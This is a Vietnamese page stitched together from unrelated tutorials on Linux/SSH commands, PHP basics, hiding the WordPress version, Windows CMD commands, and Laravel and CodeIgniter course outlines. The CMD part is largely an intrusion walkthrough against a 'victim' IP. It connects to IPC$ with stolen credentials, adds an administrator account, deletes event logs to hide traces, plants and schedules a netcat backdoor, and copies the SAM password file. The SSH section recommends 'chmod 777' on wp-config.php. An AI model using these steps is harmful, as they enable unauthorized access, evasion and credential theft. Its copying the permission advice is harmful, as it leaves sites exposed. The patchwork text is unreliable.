21 câu lệnh Linux phải nhớ để quản lý vps

Đây là những câu lệnh căn bản bất cứ ai muốn tìm hiểu về Linux cần phải nhớ.

  1. clear: làm sạch cửa sổ dòng lệnh
  2. ls tenthumuc: Liệt kê nội dung bên trong một thư mục
  3. cat tentaptin: Hiển thị nội dung của một tập tin lên cửa sổ dòng lệnh
  4. rm tentaptin: Xóa một tập tin
  5. cp taptinnguon taptindich: Sao chép một tập tin
  6. passwd: Đổi mật khẩu
  7. less tentaptin hoặc more tentaptin: Hiển thị nội dung một tập tin trong cửa sổ dòng lệnh một trang mỗi lần
  8. grep chuoi tentaptin: Tìm kiếm chuỗi trong tập tin
  9. head tentaptin: Hiển thị 10 dòng đầu tiên của tập tin
  10. tail tentaptin: Hiển thị 10 dòng cuối cùng của tập tin
  11. mv tentaptincu tentaptinmoi: Di chuyển hoặc đổi tên tập tin
  12. file tentaptin: Hiển thị thông tin về nội dung của tập tin
  13. echo chuoi: Sao chép chuỗi tới màn hình dòng lệnh
  14. date: Hiển thị ngày và giờ hiện tại
  15. gzip tentaptin: Nén một tập tin
  16. gunzip tentaptin: Giải nén một tập tin
  17. chmod quyen tentaptin: Thay đổi quyền truy cập tập tin
  18. mkdir tenthumuc: Tạo một thư mục
  19. rmdir tenthumuc: Xóa một thư mục rỗng
  20. ln existingfile new-link: Tạo một đường dẫn tới một tập tin (liên kết cứng)
  21. top: Hiển thị danh sách các tiến trình đang chạy

20 câu lệnh SSH thông dụng nhất cho vps

20 câu lệnh SSH bên dưới là những lệnh thông dụng nhất bất kỳ ai cũng phải biết để có thể thao tác, quản trị VPS Linux.

Trước khi bắt đầu, bạn cần kết nối với VPS qua SSH bằng cách sử dụng công cụ Putty hoặc ZOC Terminal (nên dùng ZOC vì copy/paste dễ dàng hơn).

Lưu ý:

  • Thư mục, đường dẫn đến thư mục thường kết thúc bởi ký tự /
  • File, đường dẫn đến file không có ký tự / ở cuối
  • Một file trên Linux không phải lúc nào cũng có đuôi đằng sau

20 câu lệnh SSH thông dụng nhất

1. Di chuyển giữa các thư mục

cd [another directory]

VD: chuyển đến thư mục chứa file cấu hình Nginx

cd /etc/nginx/conf.d/

2. Chuyển đến thư mục home của user

cd ~

Nếu bạn login bằng tài khoản root thì lúc này thư mục home sẽ là /root

3. Chuyển đến thư mục trước đây

cd -

4. Di chuyển đến thư mục cha

cd ..

5. Hiển thị đường dẫn thư mục hiện tại

pwd

6. Hiển thị tất cả file/thư mục ở thư mục hiện tại

ls

7. Hiển thị tất cả file và thông tin

ls -al

8. Hiển thị tất cả file với đuôi bất kỳ

ls *.ext

VD: hiển thị toàn bộ file *.PHP

ls *.php

9. Hiển thị tất cả file/thư mục với thông tin chi tiết

ls -alh

10. Tắt kết nối SSH

exit

Quản lý File

11. Copy và đổi tên file

File cũ vẫn được giữ nguyên.

cp [filename] [new filename]

VD: copy và đổi tên file banner.jpg thành banner728px.jpg

cp banner.jpg banner728px.jpg

VD: copy banner.jpg vào folder ads và đổi tên thành banner728px.jpg

cp banner.jpg ads/banner728px.jpg

12. Move và đổi tên file

File cũ sẽ bị xóa và chuyển sang thư mục mới.

mv [old filename] [new filename]

VD: di chuyển banner.jpg sang folder ads

mv banner.jpg ads/banner.jpg

VD: di chuyển banner.jpg sang folder ads và đổi tên file thành banner728px.jpg

mv banner.jpg ads/banner728px.jpg

Tương tự, bạn có thể di chuyển cả folder.

VD: chuyển folder image vào folder media

mv image/ media

VD: chuyển folder image ra thư mục cha

mv image/ ..

13. Xóa một file

rm [file name]

VD: xóa file banner.jpg

rm banner.jpg

14. Xóa toàn bộ file ở thư mục hiện tại

rm *

15. Xóa toàn bộ file với extension bất kỳ

rm *.ext

VD: xóa toàn bộ file .jpg

rm *.jpg

16. Copy một folder kèm theo toàn bộ files, thư mục bên trong

cp -r [directory] [new directory]

17. Tạo thư mục mới

mkdir [folder name]

VD:

mkdir image

18. Tìm kiếm một file từ thư mục hiện tại

find . -name [filename] -print

VD: tìm file banner.jpg ở thư mục hiện tại

find . -name banner.jpg -print

19. Tìm kiếm nội dung trong một file

grep [text] [filename]

VD: tìm từ sidebar trong file index.php

grep sidebar index.php

20. CHMOD – thay đổi file permission

chmod [permission type] [file/folder name]

VD:

chmod 777 wp-config.php

Cách đặt permission:

Số đầu tiên cho file owner, số thứ 2 cho group của owner, và số thứ 3 cho toàn bộ user và group khác.
7 = Read + Write + Execute
6 = Read + Write
5 = Read + Execute
4 = Read
3 = Write + Execute
2 = Write
1 = Execute
0 = All access denied

Tổng quan về PHP

PHP (Hypertext Preprocessor) là ngôn ngữ script trên server được thiết kế để dễ dàng xây dựng các trang Web động. Mã PHP có thể thực thi trên Webserver để tạo ra mã HTML và xuất ra trình duyệt web theo yêu cầu của người sử dụng.

Có nhiều lý do khiến cho việc sử dụng ngôn ngữ này chiếm ưu thế xin nêu ra đây một số lý do cơ bản :

– Mã nguồn mở (open source code)

– Miễn phí, download dễ dàng từ Internet.

– Ngôn ngữ rất dễ học, dễ viết.

– Mã nguồn không phải sửa lại nhiều khi viết chạy cho các hệ điều hành từ Windows, Linux, Unix

– Rất đơn giản trong việc kết nối với nhiều nguồn DBMS, ví dụ như : MySQL, Microsoft SQL Server 2000, Oracle, PostgreSQL, Adabas, dBase, Empress, FilePro, Informix, InterBase, mSQL, Solid, Sybase, Velocis và nhiều hệ thống CSDL thuộc Hệ Điều Hành Unix (Unix dbm) cùng bất cứ DBMS nào có sự hổ trợ cơ chế ODBC (Open Database Connectivity) ví dụ như DB2 của IBM.

1. Cách khai báo PHP:

Cách 1: 

<?php

?>

Cách 2:

<?

?>

Cách 3:

<%

%>

Cách 4:

<scrpt language=”php”>

</script>

Cách 1 là cách viết chính thống của PHP và chuẩn nhất cho mọi phiên bản.
Cách 2 là cách viết rút gọn của PHP, các phiên bản từ 5.2 trở đi có thể gặp lỗi khi viết như thế này.
Cách 3 là cách viết trong ASP nên có thể không được hỗ trợ mạnh mẽ bằng cách chính thống. Tạm chấp nhận được.

2  Cách xuất giá trị PHP

Ta dùng lệnh echo

echo thongtin;
Trong đó: thongtin là 1 chuỗi hoặc biến. Chuỗi có thể chỉ là text hoặc HTML.

VD1:
<?php
echo “Hello, <b> PHP</b>”;
?>
Xuất ra: Hello, PHP

Khi bạn muốn sử dụng thể HTML trong PHP chúng ta chỉ cần đặt nó trong dấu nháy kép (“). Khi phần xuất ra vừa chứa chuỗi và biến thì ta có thể dùng dấu chấm hoặc dấu phẩy để có thể nối chuỗi và biến hoặc chuỗi và chuỗi.

VD2:
<?php
echo “Hello, <b> PHP</b>” . “How are <font color=”red”>you</font>?”;
?>
Xuất ra: Hello, PHPHow are you?
Vì mình không dùng dấu cách nên 2 đoạn nối bị dính vào nhau. Bạn thử nối chuỗi bằng dấu phảy nhé.
Chú ý:
Thẻ HTML chỉ có tác dụng khi được đặt trong 1 chuỗi thì nó mới chạy được. Nếu đặt ngoài 1 chuỗi thì nó sẽ báo lỗi  vì php sẽ không biết cái html này là cái gì cả, nên nó sẽ không chạy được. Thường nếu đặt ở ngoài chuỗi mà nó không có ký hiệu của 1 biến thì nó được coi là 1 hằng mà nó không khai báo giá trị và không nối 1 chuỗi với 1 hằng thì dĩ nhiên là nó sẽ bị lỗi.
Bài tập 1:  Tạo 1 bảng gồm 4 cột và 2 dòng bằng PHP và HTML.

3. Biến trong lập trình PHP

Cách ghi chú thích trong php:
// Nội dung chú thích 1 dòng
/* Nội dung chú thích nhiều dòng
ở đây */

Biến là một loại giá trị có thể thay đổi được, giá trị nào được gán sau cùng thì đó là giá trị cuối cùng của biến.
Cách viết: $tên_biến = số hoặc chuỗi;
VD: $a = 1; $ten= “Aks Mac”;

Tên biến không được bắt đầu là 1 con số.
$123d: không hợp lệ
$a124d: hợp lệ

Biến nội suy: một biến có thể được hiểu trong 1 chuỗi.
<?php
$a = 500;
echo “hello, $a”;
?>
xuất ra: hello, 500
Phương pháp nội suy biến chỉ xảy ra trong trường hợp chuỗi ở trong cặp dấu nháy kép, nếu ở trong dấu nháy đơn thì sẽ không xảy ra.
<?php
$a = 500;
echo “hello, $a”;
echo ‘hello, $a’;
?>
xuất ra: hello, 500 và hello, $a

Bài tập 2:
Viết ứng dụng xuất ra đầy đủ đoạn văn bản sau: Mac’s “$ la tat ca”

– dùng nội suy biến để xuất ra chuỗi trên.

How To Hide WordPress Meta Generator Version Info

NOTE / WARNING: This is not a true “security” measure and “protection” in any way, that you should rely upon! Security through obscurity is just hiding problems under the carpet, not solving them. It may buy you some time until you perform a full upgrade, but you should definitely not avoid regular security updates at any cost.

PART 1: REMOVE WORDPRESS META GENERATOR

WordPress Meta Generator

Here is a simple way how to hide WordPress info field meta name=”generator” content=”WordPress 4from the page’s HTML source code. Place the below hooks & filter functions inside your theme’s functions.php file and upload it back to server via FTP or SFTP:

How to hide WordPress Meta Generator version number

No plugin required! Afterwards, when you open your blog’s page source code view meta name=”generator”line will be gone. If you use a caching plugin for WordPress, you must clear all cache for changes to take effect.

PART 2: REMOVE WORDPRESS VERSION INFO FROM SCRIPTS

Wait! Not so Fast! Even if we remove WordPress declaration & version info from the meta tags section, we can still extract the actual number from different places. Take another look into the source code and look specifically for CSS and JS script files:

<link rel=’stylesheet’ id=’dashicons-css’ href=’http://mywebsite . com/wp-includes/css/dashicons.min.css?ver=4.5.3‘ type=’text/css’ media=’all’ />
<link rel=’stylesheet’ id=’admin-bar-css’ href=’http://mywebsite . com/wp-includes/css/admin-bar.min.css?ver=4.5.3‘ type=’text/css’ media=’all’ />

As we can see above, only jQuery plugins pass their own version number info in the URL as parameter, while all other CSS styles and JS scripts pass default value of WordPress core itself!

This behavior is documented in wp_enqueue_style() and wp_enqueue_script() functions @ WordPress Codex. Take a look at the param structure of both functions:

wp_enqueue_script(
    string $handle,
    string $src = false,
    array $deps = array(),
    string|bool|null $ver = false,
    bool $in_footer = false
)

wp_enqueue_style(
    string $handle,
    string $src = false,
    array $deps = array(),
    string|bool|null $ver = false,
    string $media = 'all'
)

And, particularly, the version parameter:

$ver

(string|bool|null) (Optional)

String specifying stylesheet version number, if it has one, which is added to the URL as a query string for cache busting purposes. If version is set to false, a version number is automatically added equal to current installed WordPress version. If set to null, no version is added.

Default value: false

The default value is set to false; which means if the plugin, theme or any other code resource that calls/uses wp_enqueue_() functions does not specifically set or supply version parameter, WP core will add one by itself, equal to the current version of WordPress!

We need to add another 2 filters, one for CSS and one for JS files, to remove WordPress version number from the URL params:

How to hide WordPress Version Number From JS-CSS Scripts

No plugin required! Afterwards, when you open your blog’s page source code view, all ?ver=x.x.x numbers will be gone from both CSS and JS files, respectively. If you use a caching plugin for WordPress, you must clear all cache for changes to take effect.

COMPLETE CODE

<?php
// Remove WordPress Meta Generator
remove_action('wp_head', 'wp_generator');

// Hide WordPress Version Info
function hide_wordpress_version() {
	return '';
}
add_filter('the_generator', 'hide_wordpress_version');

// Remove WordPress Version Number In URL Parameters From JS/CSS
function hide_wordpress_version_in_script($src, $handle) {
    $src = remove_query_arg('ver', $src);
	return $src;
}
add_filter( 'style_loader_src', 'hide_wordpress_version_in_script', 10, 2 );
add_filter( 'script_loader_src', 'hide_wordpress_version_in_script', 10, 2 );
?>

FINAL NOTES

If your theme’s function.php file already has an opening <?php and closing ?> PHP tags, you do not need first and last line from above code. However, you have to carefully place this code after all previously existing theme’s code and before the final closing ?> tag. Remember, if you use a 3rd party theme from other authors, you will lose all changes after theme update procedure, so you’ll have to repeat / re-insert above code after each upgrade.

Tổng hợp các lệnh cơ bản trong cmd Win XP 7 8 thông dụng nhất

Tổng hợp các lệnh cơ bản trong cmd Win XP 7 8 thông dụng nhất, cách khắc phục, sửa lỗi phần cứng phần mềm, không vào được mạng, quản lý tài nguyên hệ thống, thiết bị ngoại vi

Trong Windows chúng ta hay thao tác bằng cách nhấn chuột trên giao diện đồ hoạ, bên cạnh đó có thể dùng những lệnh cmd (môi trường dos) cũng mang lại rất nhiều tác dụng không ngờ.

Để mở cửa sổ cmd, nhấn phím windows + R -> Cửa sổ Run, gõ cmd nhấn enter. Bất kỳ lệnh nào chưa biết rõ cú pháp, thêm tham số /? phía sau để liệt kê các thông số của lệnh đó.

1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] – ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. – Tham số /t: Sử dụng tham số này để máy tính liên tục “ping” đến máy tính đích, cho đến khi bạn bấm Ctrl + C – Tham số /a: Nhận địa chỉ IP từ tên host – Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death – một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. – Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)….

2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn “nhìn thấy” đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào… Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I’m pro_hacker_invn

4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] – Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) – Tham số /e: hiển thị các thông tin thống kê Ethernet – Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối… Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng…

6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file… trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ – dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ – mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ – rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ – put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. – close: Đóng phiên làm việc – quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp

7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ “pass” /user:”xxx” – ip: địa chỉ IP của victim. – xxx: user của máy victim – pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ “12345” /user:”victim” Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] – Username : tên user cấn add – pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c “commet] [-d upx:yy] (áp dụng cho win XP) – Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. – Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. – Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) – Tham số -s : shutdown – Tham số -r : shutdown và restart – Tham số -a : không cho shutdown – Tham số -f : shutdown mà ko cảnh báo – Tham số -c “comment” : lời cảnh báo trước khi shutdown – Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.

11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.

12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) – Z là của mình…còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)
14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.

15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT….nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx
17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) Trên đây là một số hiểu biết hạn hẹp của em về các lệnh CMD, em đã đọc được từ rất nhiều nguồn khác nhau, nay tổng hợp lại cho mọi người tham khảo. Có một số lệnh em vẫn chưa hiểu cấu trúc lệnh và chưa có điều kiện để thực hành thử nên ko hướng dẫn kỹ. Ai biết thì góp ý nhé! Mong các pro đừng cười! Nếu thấy bài viết của em hay thì làm ơn thank cho một cái nhé

19 bootcfg : xem thiết lập phần tải hệ điều hành ban đầu .

20 defrag : lệnh này dùng để dồn đĩa cứng .

21 diskpart : quản lí phân vùng trên đĩa . Chúng ta có thể bấm DISKPART / ? để xem hướng dẫn cách dùng chi tiết .

22 driverquery : nhận danh sách các chương trình Driver và những thuộc tính của chúng .

23 getmac : nhận địa chỉ MAC ( Media Access Control ) của Card mạng .

24 gpresult : nhận RSoP , những thiết lập người dùng và những thiết lập của chính sách nhóm.

25 netsh : công cụ cấu hình mạng . Bấm NETSH / ? để biết thêm chi tiết . Để thoát khỏi công cụ này gõ lệnh NETSH>

26 openfiles : cho phép Admin hiển thị hoặc bỏ kết nối những file đang mở trong XP Pro . Bấm OPENFILES/? để biết thêm về tham số .

27 recover : khôi phục những thông tin không thể đọc được trên đĩa .

28 reg : công cụ cho Registry .

29 schtasks : Admin có thể tạo lịch trình , thay đổi , xoá những nhiệm vụ trên máy trạm hoặc những máy điều khiển từ xa . SCHTASKS/? để hiển thị những tham số .

30 sfc : kiểm tra file hệ thống , bảo về và thay thế , sửa chữa những file hệ thống bị hỏng .

31 shutdown : bạn có thể tắt hoặc khởi động lại máy tính của mình hoặc Admin có thể tắt hoặc khởi động lại những máy tính điều khiển từ xa .

32 systeminfo : hiển thị những thông tin cấu hình cơ bản .

33 tasklist : cho chúng ta biết những chương trình nào đang chạy .

34 taskkill : tắt những chương trình đang chạy

35 dxdiag : cấu hình

Mục lục lập trình Laravel

Laravel là một Open source PHP Framework miễn phí được phát triển bởi Taylor Otwell ra mắt lần đầu vào tháng 6 năm 2011.  Hiện tại, Laravel là PHP Framework được sử dụng phổ biến nhất trên thế giới vì những ưu điểm vượt trội tận dụng các kỹ thuật Design Pattern, các công nghệ mới nhất của PHP và rất dễ dàng tiếp cận và sử dụng nó. Điểm yếu của Laravel là không hỗ trợ các phiên bản PHP cũ vì thế các website có nền tảng PHP version thấp hơn khá là khó khi có ý định chuyển sang Laravel và phải luôn cập nhật các thông tin mới nhất về PHP để áp dụng vào Laravel. Phiên bản của Laravel hiện tại chỉ hỗ trợ phiên bản 5.5.9 trở lên.

Trong chuyên đề này, mình sẽ hướng dẫn cho các bạn về các kiến thức căn bản nhất về Laravel để có thể xây dựng một hệ thống nào đó đơn giản từ Framework này. Chúc các bạn tự học Laravel hiệu quả.

Kiến thức trọng tâm cho PHP Framework
Bài 1: Lập trình hướng đối tượng – Mô Hình MVC
Lý thuyết lập trình hướng đối tượng.
Lý thuyết lập trình hướng đối tượng (tiếp theo)
Mô hình MVC – Cơ bản áp dụng trong thực tế.
Bài 2: Mảng nâng cao
Lý thuyết và các hàm quan trọng trong mảng
Bài tập áp dụng nâng cao kỹ năng xử lý mảng
Bài 3: Xây dựng Menu đa cấp
Viết menu đa cấp cơ bản với backend – front end
Bài 4: Giả lập mô hình PHP Framework
Xây dựng kiến trúc Framework cơ bản và Active Record
Viết chức năng thêm, xóa, sửa, liệt kê thành viên
Bài 5: Namespace và Composer trong PHP 5.3
Tìm hiểu Namespace và Composer trong PHP 5.3
Tìm hiểu Laravel Framework 4.x
Bài 1: Tìm hiểu, cài đặt và khái niệm controller, view
Tìm hiểu, cài đặt và khái niệm controller, view
Bài 2: Tìm hiểu router và filter
Tìm hiểu router và filter Mở Khóa Kenny
Bài 3: Master layout và URL trong Laravel Framework
Tìm hiểu Master layout và URL trong Laravel Framework
Bài 4: Tìm hiểu thư viện form và validation
Tìm hiểu thư viện form và validation
Bài 5: Response, Request, Upload, Cookie và tự tạo thư viện riêng
Tìm hiểu về Response, Request và upload file trong Laravel
Bài tập upload, tìm hiểu cookie và tạo thư viện riêng
Bài 6: Thao tác với CSDL trong Laravel
Cơ bản về Schema Builder, Migrate, Basic query, Query Builder
Tìm hiểu database seeder, Eloquent class và quan hệ trong bảng
Bài 7: Tìm hiểu Restful Controller
Restful Controller – Ứng dụng thực hành
Bài 8: Phân trang, phiên làm việc và thư viện Auth
Tìm hiểu phân trang, phiên làm việc và thư viện auth
Bài 9: Laravel và Ajax
Ajax cơ bản và bài tập áp dụng
Bài tập tình huống thực tế
Upload hình với Redactor và cắt hình với thư viện jcrop
Viết mã xác nhận và tạo ứng dụng giỏ hàng
Xây dựng hoàn chỉnh ứng dụng giống Stackoverflow
Xây dựng cơ chế đăng nhập và tạo master layout
Xây dựng trang đăng ký thành viên kết hợp recaptcha
Viết chức năng sửa và tìm lại mật khẩu trong ứng dụng
Phân tích quan hệ bảng và viết chức năng thêm câu hỏi
Hiển thị câu hỏi và xây dựng cơ chế xem chi tiết câu hỏi
Viết chức năng trả lời, đánh giá câu trả lời hay nhất
Liệt kê câu hỏi theo chuyên mục, từ khóa, thành viên
Caching tối ưu ứng dụng và xuất bản website trên hosting

Chuyên đề lập trình CodeIgniter

Hiện nay có khá nhiều Frameworks được xây dựng từ PHP như Zend, Laravel, CakePHP, Codeigniter và mỗi framework có những ưu và nhược điểm khác nhau. Có một câu hỏi đặt ra là tại sao chúng ta cần học PHP Framework? Thông thường nếu ban làm dự án bằng PHP thuần thì đòi hỏi bạn phải có kiến thức về bảo mật PHP và PHP nâng cao thì mới quản lý source tốt được. Nhưng khi bạn sử dụng Framework thì bạn sẽ bớt đi thời gian để xử lý hai vấn đề đó bởi vì các Frameworks đã tạo cho chúng ta cái sường để có thể tạo ra những dự án khác nhau.

Frameworks đơn giản và dễ học nhất mà ai cũng biết đó là Codeigniter, đây là một framework được xây dựng từ mô hình MVC có ưu điểm là chạy nhanh, dễ học cho người mới tìm hiểu MVC Framework. Codeigniter Framework còn viết tắt là CI Framework.

Hiện nay trên mạng có khá nhiều trang học Codeigniter, hay thậm chí bạn có thể đọc qua phần document của nó là có thể làm theo được. Nhưng thiết nghĩ freetuts.net là một website học lập trình nên cũng không thể thiếu các chuyên đề học Codeigniter online được, vì vậy mình mở chuyên mục này để lưu trữ các bài viết về Codeigniter Framework.

Bản thân mình đã sử dụng CI được 2 năm từ thời CI2.2 cho tới bây giờ là CI3x. Mình cũng đã từng ngồi phá source, fix lại source của nó nên cũng hiểu được phần nào nguyên tắc hoạt động. Nhưng mình sẽ không chia sẻ những cái đó bởi vì nó không cần thiết đối với các bạn.

Vì thời gian có hạn và mình cũng bận chăm sóc các chuyên đề khác nên hiện tại mình mới viết một số chuyên đề học Codeigniter căn bản. Nhưng trong tương lai mình sẽ care bộ Framework này thật chu đáo, vì vậy rất mong nhận được sự ủng hộ của các bạn.

Bài 1: Lập trình hướng đối tượng – Mô Hình MVC
Lý thuyết lập trình hướng đối tượng.
Lý thuyết lập trình hướng đối tượng (tiếp theo)
Mô hình MVC – Cơ bản áp dụng trong thực tế.
Bài 2: Mảng nâng cao
Lý thuyết và các hàm quan trọng trong mảng
Bài tập áp dụng nâng cao kỹ năng xử lý mảng
Bài 3: Xây dựng Menu đa cấp
Viết menu đa cấp cơ bản với backend – front end
Bài 4: Giả lập mô hình PHP Framework
Xây dựng kiến trúc Framework cơ bản và Active Record
Viết chức năng thêm, xóa, sửa, liệt kê thành viên
Tìm hiểu Codeigniter Framework
Bài 1: Tổng quan về mô hình MVC trong Codeigniter Framework
Giới thiệu về Controller – View – Model trong Codeigniter Framework
Bài 2: Tìm hiểu Helper URL, Form và thư viện Form_validation
Giới thiệu Helper URL, Form và thư viện Form_Validation
Bài 3: Tìm hiểu về thư viện pagination và session
Tìm hiểu về thư viện pagination và session – Bài tập áp dụng
Bài 4: Tìm hiểu thư viện upload và Image
Tìm hiểu thư viện upload và Image – Bài tập áp dụng
Bài 5: Tìm hiểu thư viện Calendar – Shopping Cart
Lý thuyết về thư viện shopping cart, Calendar – Bài tập áp dụng
Bài 6: Các vấn đề khác trong Codeigniter
